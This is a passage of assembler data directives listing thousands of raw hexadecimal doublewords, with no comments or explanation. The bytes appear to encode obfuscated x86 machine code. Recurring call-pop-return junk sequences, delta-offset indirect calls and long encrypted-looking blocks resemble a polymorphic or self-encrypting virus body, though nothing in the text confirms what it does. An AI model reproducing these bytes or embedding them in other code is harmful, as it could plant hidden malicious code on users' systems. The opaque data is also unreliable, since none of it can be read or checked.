		dd 61330h, 44B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 4A1EEDC3h, 0BFE176D4h
		dd 1DBF6643h, 11E9E5h, 10E0000h, 7D0312B8h, 0DE4B29E3h
		dd 65667A45h, 0E963688Fh, 0Bh, 3E1106ABh, 3E936DF1h, 8328C903h
		dd 133055BDh, 840F0106h, 40Ch, 8E9h, 56C3EF00h,	2FE09D9Ah
		dd 55BD83D0h, 3061330h,	3BC860Fh, 0EE90000h, 48000000h
		dd 0F2D5EEB1h, 4DF79888h, 0BDD876BDh, 0BF666053h, 8C6619F3h
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 63F092B6h, 0D880FFCh, 0E9000000h, 8, 0B688205Ah
		dd 53093624h, 8B04E180h, 132B819Dh, 0FC90A06h, 13884h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 51086A49h, 6860F71h, 89000000h, 131DED95h
		dd 0B9858B06h, 6A06132Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 7FD9C352h, 44D4D012h
		dd 59C32830h, 5B98533h,	6A0613h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0F796F1C3h, 8EE6F70Bh
		dd 81BF6659h, 9E95019h,	0E0000000h, 5A9FBD6Ch, 39975704h
		dd 7E9905Bh, 0EF000000h, 1A8292E8h, 9050D872h, 9FB8B66h
		dd 13320DBDh, 0B3006A06h, 8E81687Ch, 6CBFA582h,	8179C12Ch
		dd 757E2404h, 6A5A9Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 5F0A53C3h, 866D22E8h, 35BB7421h
		dd 0FF00D089h, 130A3D95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0F843B888h
		dd 5485894Fh, 8B0616C4h, 130EADBDh, 0B810F06h, 0E9000000h
		dd 6, 9860F9A6h, 0A8E9565Fh, 31000001h,	13237985h, 4C858B06h
		dd 290616C4h, 1325FD8Dh, 1800C706h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 616EC351h, 3A5ADD35h, 0E137422Eh, 0C450B58Bh, 0BF0F0616h
		dd 55858BDAh, 8906132Ah, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 8D24101h, 3830Fh, 8B660000h
		dd 0B9858BF8h, 6A06132Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0A1F9C350h,	89F947B7h
		dd 0BD330446h, 61324F9h, 0D1B66050h, 24348961h,	0B5FFF88Bh
		dd 616C44Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0D8C35747h, 8E896h, 0F01C0000h,	0D5E8A88Dh, 9D233ECCh
		dd 613177Dh, 0B8BCBF5Fh, 9589309Dh, 61309A1h, 0B1971968h
		dd 0DE8B660Fh, 0E6243481h, 8D0FAE94h, 16C45485h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 6E98D91Ah, 60507508h, 11E8h,	49A38400h, 1DA23BBFh, 695F9167h
		dd 2DA00307h, 11E82AB3h, 0FF000000h, 5BF03AFCh,	51B2CCA9h
		dd 0C40E09DBh, 2E818A0Ch, 0BE665A58h, 89615E07h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0F7BC83C3h, 3AD99C61h, 820FA42Bh, 6,	207D8501h, 95FF0613h
		dd 6130A3Dh, 0D870Fh, 8E90000h,	0D5000000h, 9F9BB7D5h
		dd 618B9368h, 3109BD8Bh, 9D8B0613h, 613259Dh, 305585C7h
		dd 30613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 5A8252C3h, 54BD8309h, 616C4h, 40840Fh
		dd 880F0000h, 6, 0EB5BD29h, 4AE90613h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0FF0C353h, 78Bh, 1890F00h, 0F5000000h, 0FF18589h, 30500613h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 501CBBC0h, 0BD01330Bh, 6133029h, 3055BD83h, 0F030613h
		dd 46285h, 12E900h, 7C790000h, 0E39DEFBDh, 7B858609h, 6FBDFCB8h
		dd 0F33985ACh, 0C454BD83h, 0F000616h, 43E84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 3A239568h, 0B5FF547Dh, 616C454h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0AEC35242h,	0D869961Bh, 66F62536h
		dd 14E9h, 0B1CAF700h, 0E433BDF8h, 9489BFE7h, 98192714h
		dd 0AEF0A7AEh, 6995FF8Fh, 0F061309h, 68Ah, 71858900h, 8B06131Dh
		dd 16C448B5h, 59D2906h,	0C7061323h, 1000106h, 25BD8B00h
		dd 9606132Ch, 9E8h, 84E1AD00h, 1E77AA86h, 8B66E36Ch, 8B505FDAh
		dd 9D8B96DFh, 613301Dh
		dd 0C454B5FFh, 9D890616h, 6131729h, 322995FFh, 6A0613h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 92E231C3h, 809F6644h, 0B58B46C7h, 616C448h, 0D6C38166h
		dd 31858B8Bh, 6A061306h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0BD92C357h,	7BED3E55h
		dd 91F47700h, 919BD8Bh,	8D890613h, 613012Dh, 0EE8h, 0FA150000h
		dd 44C96785h, 0EE92FC97h, 897BBD70h, 131E319Dh,	86895F06h
		dd 0C4h, 0DE9h,	3C2E0C00h, 8864E881h, 23EB6A2Ah, 9D09B130h
		dd 61314ADh, 1BBD958Bh,	6A0613h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0C2839EC3h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0F41F6E79h, 57648579h, 9D33C577h, 61329A1h, 23B98589h
		dd 50890613h, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89680FFCh, 130D1D95h, 0E3858D06h
		dd 800616D8h, 9D891CDFh, 6131F7Dh, 0B88689h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0A1530DC3h, 0BC6E8409h, 0CEBB9030h, 6A30AEFCh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 492DC609h, 0B5FFF2D1h, 616C454h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 2AC35141h, 1601BD09h, 95FF0613h
		dd 6131E95h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	8FC35343h, 501EC012h, 12E8h, 327EB800h,	6F9C6FADh
		dd 26034DB5h, 967836F5h, 5B1A2A58h, 6A243489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 725DC350h, 0C36345D1h, 0FF76A2AAh, 16C454B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0CE5C9941h, 60523B8Fh, 2605858Bh, 9D8B0613h,	6130F4Dh
		dd 4BBB6661h, 4595FF6Fh, 8B061321h, 13296DBDh, 95BD8306h
		dd 61314h, 13840Fh, 0CF810000h,	78B2BD48h, 0E7BF6650h
		dd 243489A1h, 7A95E7BBh, 54B5FF0Bh, 6A0616C4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FAEC351h, 28Dh, 66DDB300h, 0B55CF781h, 5AD95FFh, 81600613h
		dd 0B7B35AEEh, 0D88B6605h, 54B5FF61h, 6A0616C4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 6625C351h, 0FE8B66DEh, 120995FFh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8314C3h
		dd 6130511h, 6C840F02h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0ACF8C356h
		dd 93EA5DDCh, 0E9F1680Dh, 0Ch, 1463486Bh, 66AA1FA4h, 4E6DBAD5h
		dd 0F55858Bh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 329011C3h, 48D0Fh, 60500000h, 0C65B61h
		dd 199D8B00h, 0C7061306h, 131E5185h, 6,	0F98D2900h, 0E906130Fh
		dd 0FFFFF2FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	94C35242h, 164945BFh, 66C18B44h, 8DF8E4BBh, 18402A8Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0EF056D3Bh, 89C68BF5h, 131BBD8Dh, 13E806h
		dd 376F0000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h,	0E5087E4Eh
		dd 148B0F22h, 0E8000000h, 0Eh, 2278A2CCh, 9DEE71Dh, 0C4B1FE4Bh
		dd 5A5ACE69h, 18DD85C7h, 60240613h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 950667C3h
		dd 5F5851B1h, 305585C7h, 613h, 0B5FF0000h, 613302Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h, 0BE905h
		dd 0BCC60000h, 26C82F28h, 64ACA07Ch, 6E95Ch, 4DE40000h
		dd 0A263AE3Ch, 1D8995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0DA8000C3h, 0FF006A87h
		dd 130DA995h, 0EBC08B06h, 0DCEB8D7Fh, 5BE4A752h, 0A1BB256Dh
		dd 3779A661h, 0BEFE2EBEh, 0F6AEB917h, 0F85A6B99h, 0AC72869Ch
		dd 2320BB1Eh, 0E16C8417h, 91B71BD5h, 24D77DCFh,	0BDFE9F41h
		dd 0BAE847E9h, 0F714E402h, 83EE3729h, 88D2C16Eh, 9086DAF8h
		dd 5889DBD1h, 542A8AA7h, 727E2C4h, 5DC38C61h, 0A6A32B77h
		dd 4A36F75Bh, 0DF5F57FCh, 4A0D1525h, 2499F961h,	5B73FD3h
		dd 99EECE1h, 9409110Bh,	326BF194h, 0E7D04F8h, 41758D8Dh
		dd 8D890618h, 6131BBDh,	85C7D68Bh, 61318DDh, 5A14h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 18C35141h, 83DA0F1Eh
		dd 66B9DD3Ah, 0C7047CBAh, 13305585h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0EF2F45D5h, 0CDEE79FFh, 0BF0F755Fh, 14E9C0h,	0EF880000h
		dd 0FC568DFEh, 0D0461323h, 37616078h, 890CD9B6h, 0B5FF53ABh
		dd 6132831h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0D5C35040h, 0F3DCDAAEh,	6E136B20h, 1D8995FFh, 0BD890613h
		dd 6133101h, 95FF006Ah,	6130DA9h, 2FEBC08Bh, 0D227C7B0h
		dd 733E83BEh, 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h
		dd 56AAAF43h, 2BA125B3h, 4326A925h, 0A0D40C8Eh,	98DE54D4h
		dd 8D5DFA7Dh, 18421F8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0AE7ABDE9h, 7C8214B1h
		dd 0FBBE567Ch, 8B12698Ah, 0BD8D89FAh, 8006131Bh, 0DEB477E4h
		dd 18DD85C7h, 71100613h, 9D890000h, 6131361h, 305585C7h
		dd 613h, 0B5FF0000h, 6132331h, 0BBDBD23h, 95FF0613h, 6131D89h
		dd 0BF5858Bh, 6A0613h, 0DA995FFh, 0C08B0613h, 0C88F7EEBh
		dd 78FEE006h, 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 0AB7962D7h
		dd 57060963h, 190ABD39h, 4116D1A5h, 8FCE5C99h, 34BC523Bh
		dd 5BF8EF52h, 0A8B04251h, 4581E395h, 3572B953h,	0A465D20h
		dd 0E545EB74h, 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh
		dd 25165DF0h, 9831BD16h, 0F7B75156h, 3A0662F2h,	0E15F99C2h
		dd 0E36EB5C6h, 0F2896510h, 0DECCF514h, 51588380h, 841E9FA1h
		dd 223E5005h, 14EF5416h, 45EF3DD3h, 86B61E9Dh, 61A3B797h
		dd 61ABBF63h, 45EF22B7h, 86BE7FD9h, 7136F0B2h, 66D0E16Fh
		dd 0E472B51Fh, 0CEE92DB8h, 3E22BE0Eh, 53CA83E4h, 30EF38A0h
		dd 0C452BDD0h, 45E92DC0h, 16BF2702h, 4657FEB0h,	0CCEF3E99h
		dd 56E2434Bh, 3872B361h, 0BAE92B1Ah, 0C6B7650Ah, 56C3BF51h
		dd 529B3E70h, 46576D6Bh, 0CCEF3E99h, 56E2434Bh,	2972B361h
		dd 0BAE92B15h, 0CCB7650Ah, 56CBAB69h, 45E8D770h, 72023E3Bh
		dd 814D9ECFh, 2F2FB56Eh, 46076B67h, 65EF3EB3h, 0CCB2FD84h
		dd 0C4EB1A80h, 5CEB1A32h, 0EF3E3Bh, 0A4EDFDC8h,	43C9CC5Dh
		dd 2F37B201h, 46076FB3h, 65EF3ED9h, 0CCB6FDB5h,	0C4EB1A3Ah
		dd 5DEB1A7Fh
		dd 4EF3E9Dh, 384CFD9Fh,	4A3D5124h, 45EF323Bh, 436B31D9h
		dd 0CCEF3EECh, 56C367CBh, 4AEB963Dh, 45EB0819h,	516331CEh
		dd 0ACEF3E67h, 45EF3EBCh, 0ABC97479h, 5CAD8E50h, 0A963E29Bh
		dd 0C6998CA0h, 56FD9B20h, 0C1E03EC8h, 45EF3E6Bh, 4D060800h
		dd 0C5EF3EDDh, 0D35C6605h, 45C83EC8h, 17EF5439h, 45EF3D75h
		dd 86B51ECEh, 61BBB73Dh, 61ABBFB7h, 45EF29DDh, 86BD7CECh
		dd 0AB2E4C9Bh, 5112B308h, 0C062388Eh, 43F94EC2h, 70AAB3EEh
		dd 951038A0h, 66F68352h, 835538FFh, 0C0A58362h,	0EA6B31FBh
		dd 2FEF3E9Dh, 460769CEh, 65EF3E67h, 0CCB0FDECh,	0C4EB1AA5h
		dd 53EB1AA8h, 2EF3E76h,	6E60FD6Ch, 8F6E5806h, 7D6EF068h
		dd 0BE6E5830h, 45AABBBCh, 0D8643ED9h, 43FC2D6Dh, 4197BF10h
		dd 0C1E03C39h, 45EF3D0Eh, 45EF2F26h, 0FCEE4F67h, 42BC5553h
		dd 72B81A04h, 0A72A72B0h, 0F8643628h, 43FC0FB6h, 45E5D6C4h
		dd 39A33ECEh, 32EC1261h, 0FDBEAF32h, 4102A352h,	23B538FFh
		dd 257306F7h, 45DFBB34h, 0CE8F3E9Dh, 56C49B7Bh,	3D6F5F61h
		dd 0C0E0D6B1h, 45EF3EC7h, 6F92B365h, 0C4893865h, 0EEEF3843h
		dd 45E3BB92h, 0BD643ECEh, 45EC148Eh, 0A46E58B3h, 4551621Ah
		dd 0CEA93FEDh, 56E1B7E3h, 1255583Dh, 496AB354h,	0CEE928BEh
		dd 56E25BDAh, 4A3FC1B5h, 45EF3C5Ah, 0C016B5ECh,	996B31B6h
		dd 17EF3E39h, 45E2D7FDh, 2F33ECEh, 0C2CBF342h, 2245E8F1h
		dd 0C45917BDh, 8C2D571Bh, 0C4B65F58h, 47D25803h, 6A319Fh
		dd 0ACEF3ECEh, 45EF3E68h, 1568ECB5h, 6AB3B59h, 4F9F3B88h
		dd 0C4355C88h, 78893843h, 0C1E044C2h, 45EF3C61h, 0ADB93E0Dh
		dd 45EF3EB0h, 1B2C60F9h, 41CB4A65h, 41CB7AF7h, 45EF3E22h
		dd 0DB2C68DBh, 4F3E0FDAh, 8A30BEE2h, 0D9D7BFD5h, 0CB6A31B9h
		dd 2FEF3EECh, 46076D76h, 65EF3E3Bh, 0CCB4FDC6h,	0C4EB1A92h
		dd 58EB1A23h, 6EF3EB3h,	0A801FD8Ah, 7D584207h, 3E57EE70h
		dd 4986B3B0h, 0F866388Eh, 43FC3B8Bh, 0ADED46E7h, 45BCBBBCh
		dd 0C4893ED9h, 230BC71Eh, 23CFFBCFh, 45E946BAh,	7B6A315Dh
		dd 13EF3ECEh, 45ECBE68h, 0FAE03EB3h, 65066708h,	2FEF3EEEh
		dd 46076F76h, 65EF3E3Bh, 0CCB6FDC4h, 0C4EB1A82h, 5FEB1A23h
		dd 4EF3EB3h, 5949FD88h,	61F8C29h, 0F462B706h, 0CCE92D19h
		dd 56CC0300h, 44EF80C8h, 45854066h, 45ECD6E5h, 1BCF3ED9h
		dd 3166602Fh, 16E3A52h,	45F23A1Fh, 13A93E9Dh, 9939620Dh
		dd 14669C88h, 0CCAD8233h, 56C76F64h, 496AB3EAh,	0CCE92806h
		dd 56E22FB6h, 0AC3FC19Bh, 45EF3EC6h, 2E106F09h,	1804F223h
		dd 0C1E0FE5Ch, 45EF3F6Fh, 9304BF10h, 0ADD7BE05h, 456FBB92h
		dd 45853ECEh, 45ECD635h, 1FCF3EB3h, 1166641Ah, 16E3AC8h
		dd 45F23A52h, 17AD3E3Bh, 0C36A4D5Eh, 0A46D3DC7h, 23888274h
		dd 0C53C700Ah, 4A9C3BA1h, 45EF7369h, 85A1776h, 0C5E92D3Dh
		dd 4ABC39E5h, 45EE704Ah, 13EF5467h, 45EF3D5Bh, 86B11ED9h
		dd 619BB7B2h, 61ABBF72h, 45EF263Fh, 86B9789Dh, 3D198160h
		dd 45FBD6B1h, 1A493EB3h, 61482C4Dh, 8706407Dh, 0D8457AD0h
		dd 9B21A38Bh, 0B36F714Fh, 0C48965E4h, 4AEAB15Fh, 45EFD436h
		dd 12EF54D9h, 45EF3D04h, 86B01E76h, 6193B764h, 61ABBF99h
		dd 45EF2ACAh, 86B87967h, 45FDD759h, 0F8E33ED9h,	0E4F82893h
		dd 82C65953h, 0E5F743ADh, 0CB19A375h, 2DE9464Eh, 4542BB68h
		dd 45853EB3h, 45ECD689h, 1DCF3EECh, 16666B5h, 16E3A1Fh
		dd 45F43AB9h, 15AF3ECEh, 79525DA4h, 9134488Dh, 45E4D6F8h
		dd 71B13EECh, 6F312892h, 3F381D5Bh, 436A318Dh, 0CEEF3ECEh
		dd 56DD77DAh, 0C48967B5h, 601035A1h, 458EBBE3h,	45853E76h
		dd 45ECD668h, 1ECF3E9Dh, 1966650Dh, 16E3A43h, 45F93A97h
		dd 16AC3ED9h, 0E8AC652Fh, 45EF649Fh, 12EF543Bh,	45EF3D75h
		dd 86B01ECEh, 6193B738h, 61ABBFB7h, 45EF29DDh, 86B879ECh
		dd 462F33ADh, 543AAB3Ah, 5106388Eh, 18EF3ECEh, 6F261B6Ch
		dd 2E26FA22h, 0C1EBAF33h, 0BBA8F117h, 0FD7127E3h, 45EF3E3Bh
		dd 4F86839Eh, 0C86438DDh, 43FC34CEh, 45EF085Ah,	0C4520FD9h
		dd 0FDE92DE9h, 45EF3E77h, 0ADB93E51h, 45EF3E9Eh, 1B2C60EEh
		dd 41CB4AEEh, 41CB7A32h, 45EF3EC3h, 7B2C68AAh, 8EAA9794h
		dd 0D8664460h, 43FC11E0h, 1584D74Eh, 0CC27B501h, 45851AB7h
		dd 45ECD688h, 1CCF3EECh, 96667B5h, 16E3A1Fh, 45FA3AB9h
		dd 14AE3ECEh, 0C89624A4h, 5DAD9C0Eh, 1462B3DFh,	0FDE926A4h
		dd 32896B55h, 52E2BB38h, 8AC4388Eh, 6644EF80h, 0E5458540h
		dd 0D945ECD6h, 2F1BCF3Eh, 52316660h, 1F016E3Ah,	8345F23Ah
		dd 0A4F305E9h, 56006A58h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0A2E771BAh, 2850Fh, 92B60000h
		dd 0C00BDCB1h, 70840Fh,	52560000h, 8E0Fh, 59590000h, 4F8DB58Dh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0B9511AC3h, 56A3AD1Ah, 3B8h, 98D8900h, 0FF061315h
		dd 53006AE6h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 4103F6C8h, 16F994FCh, 9589ACD9h,	613255Dh
		dd 1F19958Bh, 0B9400613h, 7454678Ch, 0B966C08Bh, 0F380B72Ah
		dd 25BD837Ch, 61316h, 0BD830975h, 6132C81h, 50197400h
		dd 0B8C08B53h, 403h, 31158589h,	9D8D0613h, 615A9E4h, 585BD3FFh
		dd 2C81BD83h, 74000613h, 0B8535017h, 403h, 31158589h, 9D8D0613h
		dd 615A685h, 585BD3FFh,	0AFD3BF66h, 0C789EA81h,	0F3815939h
		dd 50ECD1F8h, 8B66C08Bh, 8D8D61CAh, 6184A5Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F9C35141h, 0E27BD7EAh
		dd 4AE93644h, 1BBD8D89h, 6A0613h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0FDD214C3h, 0EE90Eh
		dd 0ABE00000h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh, 18DD85C7h
		dd 6DDC0613h, 9D890000h, 6131FDDh, 305585C7h, 613h, 0DA8B0000h
		dd 302DB5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 7176E4C3h, 4626B26Bh, 0D7CB8166h
		dd 8995FFF4h, 6A06131Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 6948C356h, 2FDD286Ah
		dd 36A40D77h, 95FF006Ah, 6130DA9h, 7FEBC08Bh, 0A940D5C4h
		dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 28F816A6h, 2FEAE15Bh
		dd 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h
		dd 0DB042EA4h, 5C588832h, 5B5B4A5Fh, 0F11C926Ah, 1F8A6A03h
		dd 82350470h, 1EDC5713h, 6150AEABh, 0D4CC4B07h,	9805FCE0h
		dd 2703DCCAh, 3D41529Eh, 0BD027DB0h, 2F3949C5h,	0D585E093h
		dd 9007B027h, 82846DE8h, 0F0735A8Ch, 4A200C3Ah,	521FDCA6h
		dd 0DEE58F18h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
		dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338B37D2h, 0FFB44E60h
		dd 0F867A5E4h, 0A08B38DAh, 2FABA3BEh, 79672025h, 0C149A3BAh
		dd 0D71B2020h, 338B39A6h, 831D2933h, 0C0982633h, 0BED2D7B6h
		dd 0D6157635h, 0AF806CD0h, 50DD963h, 839E3526h,	35982664h
		dd 1F152359h, 4B806CC0h, 451DAB63h, 39E3E79h, 0B28DB3CCh
		dd 14932020h, 6AA1A23Ch, 0B0152633h, 9C806CC0h,	4DAACE63h
		dd 0F6D82633h, 1961A3BEh, 24C8202Bh, 0CCD2D5B6h, 0FF677635h
		dd 338B37B6h, 1794E2B0h, 55D2D5B6h, 23157635h, 55806CD0h
		dd 780DD963h, 3D9E3526h, 6A982651h, 6474AD66h, 11CE7464h
		dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
		dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h,	0E868AD03h
		dd 5AAD63h, 0A9982C88h,	0D49BCF33h, 896F2633h, 3566A57Dh
		dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh
		dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C806CD2h,	18EABBEh
		dd 9320202Bh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0B58DFFFFh, 6184C16h, 4C358D8Dh,	0CF2B0618h
		dd 8B05E983h, 5E8C8h, 0DCDE0000h, 894ECDD7h, 13130185h
		dd 820F5906h, 4, 35E9BB66h, 5D13C181h, 0B5030000h, 613237Dh
		dd 1711BAh, 9E85000h, 2D000000h, 0EA36D7FFh, 9AE16BBEh
		dd 1469B589h, 5B5E0613h, 69BB018Bh, 81672681h, 7DAC2EE8h
		dd 0ADBD8B47h, 8106131Fh, 0A3CAC9C0h, 6890F49h,	8B000000h
		dd 1330A1BDh, 2DF08106h, 894296D9h, 13232D9Dh, 810F5006h
		dd 2, 18FDA8Bh,	5E9h, 56F0FF00h, 0E9816E39h, 6441C538h
		dd 1A0D8589h, 0C1810613h, 6441C534h, 13D5BD8Bh,	0EA810613h
		dd 1, 14850Fh, 0BD8B0000h, 6130035h, 20E9h, 0C100D500h
		dd 0D51E7EECh, 0E4B3D822h, 0FFFF7BE9h, 0CDABEFFh, 445E8640h
		dd 0BA5400A2h, 83E112D6h, 14E8CBh, 0BE4C0000h, 39203155h
		dd 2E337FC0h, 4A969A59h, 0F70FD15Ch, 0BD8997BAh, 6132C71h
		dd 0DA8B6658h, 6203C081h, 9D8B0000h, 6132441h, 1852BAh
		dd 10E900h, 2FEE0000h, 0B29E073Eh, 4E4084BBh, 57A6A7B4h
		dd 308B73D9h, 0DEEE81F9h, 8053F270h, 0C6810BD9h, 7ED97A69h
		dd 6850Fh, 8D8B0000h, 6132A45h,	8450EE81h, 7E9279Ch, 88000000h
		dd 4A5F5C58h, 30895B5Bh, 1D870Fh, 11E80000h, 70000000h
		dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 209DBD8Bh
		dd 835B0613h, 9D0B04E8h, 6131059h, 9B850F4Ah, 0E9FFFFFFh
		dd 11h,	205D420Ch, 8F9A98B5h, 0C817857h, 4367DFD1h, 8E859h
		dd 5FD00000h, 0C6D59A9Eh, 0E1816FE1h, 8E4DE33h,	1995895Bh
		dd 8106130Bh, 5BC8C3h, 8E86000h, 1F000000h, 2503FAA3h
		dd 89FDF871h, 132131BDh, 33615806h, 11B589F6h, 0FF061312h
		dd 58FC1E34h, 0EE9h, 9B7AB800h,	77303930h, 72936124h, 81F27677h
		dd 96BF40F0h, 0A9958972h, 8106130Eh, 11A55CE8h,	0F8B70F6Ah
		dd 2AE7C081h, 8F0F265Dh, 4, 93FCB966h, 0B58D8950h, 8F061309h
		dd 56603304h, 8159C88Ah, 0DD1756CAh, 830F615Eh,	2, 0EE83C88Bh
		dd 3D29BA02h, 4E4E571Dh, 6830Fh, 0BD0B0000h, 6131F09h
		dd 0A4F0FE81h, 850FFFFFh, 0FFFFFF83h, 0E9A7F781h, 786C2E90h
		dd 11EE5327h, 32030127h, 9BDBC27Dh, 93C42573h, 5642563h
		dd 50300127h, 3708C275h, 436C1547h, 361F940Eh, 73580734h
		dd 74598D41h, 3B68E2A6h, 966F058Fh, 123000C1h, 91EEB628h
		dd 11EA49Ah, 96090121h,	12030103h, 128DE847h, 0D3C70127h
		dd 23A9BB8Eh, 723096Bh,	8F3BA3ACh, 141F049Ah, 13BEE846h
		dd 878A0127h, 14922B12h, 42138AB7h, 36406A99h, 99569140h
		dd 5E190EDDh, 1266FF03h, 1205E972h, 4F230127h, 7E085CE4h
		dd 56410503h, 127A0503h, 47750127h, 96A0F2E4h, 49294C48h
		dd 120EE947h, 0D36D0127h, 0C87989F5h, 0A74991A1h, 14731E92h
		dd 99686078h, 3ED882FFh, 2389BCACh, 1A8D0734h, 373684AEh
		dd 99E70734h, 90CFFD6Fh, 12600127h, 24098041h, 0A59C0ED8h
		dd 1D0C0127h, 120607A0h, 0D8E48027h, 9182BFA6h,	12AA08E6h
		dd 1263E975h, 48100127h, 46915BE4h, 568D0503h, 12130503h
		dd 40410127h, 98EC0DE4h, 0FBF981D9h, 13688428h,	0AC560127h
		dd 5393C89Fh, 450C6B26h, 120602CFh, 0D15C2127h,	36FD8878h
		dd 36848023h, 12601B23h, 0D1674627h, 0DD8B8D36h, 99BE1C68h
		dd 1187C92h, 0F4FABF21h, 0DA82750Bh, 12C00BCEh,	0A53FFE27h
		dd 9D25EE82h, 936A55BFh, 743927C8h, 17C7826Bh, 9388C2A7h
		dd 51CA911Eh, 0B9450EACh, 78600127h, 11D85427h,	32180127h
		dd 9B51C27Ah, 9302254Bh, 9072563h, 57810127h, 9803C272h
		dd 0C8BB2D59h, 9FBD3B20h, 140B4EAAh, 0FA5A014Dh, 12060124h
		dd 4CC05F07h, 16A575AEh, 16E445A6h, 1260013Bh, 16F35761h
		dd 9E1A53FEh, 0A2CAA3FDh, 120608CEh, 3A334527h,	0FDA458E4h
		dd 97E951B2h, 147307EEh, 1230029Fh, 45186B27h, 120C02CFh
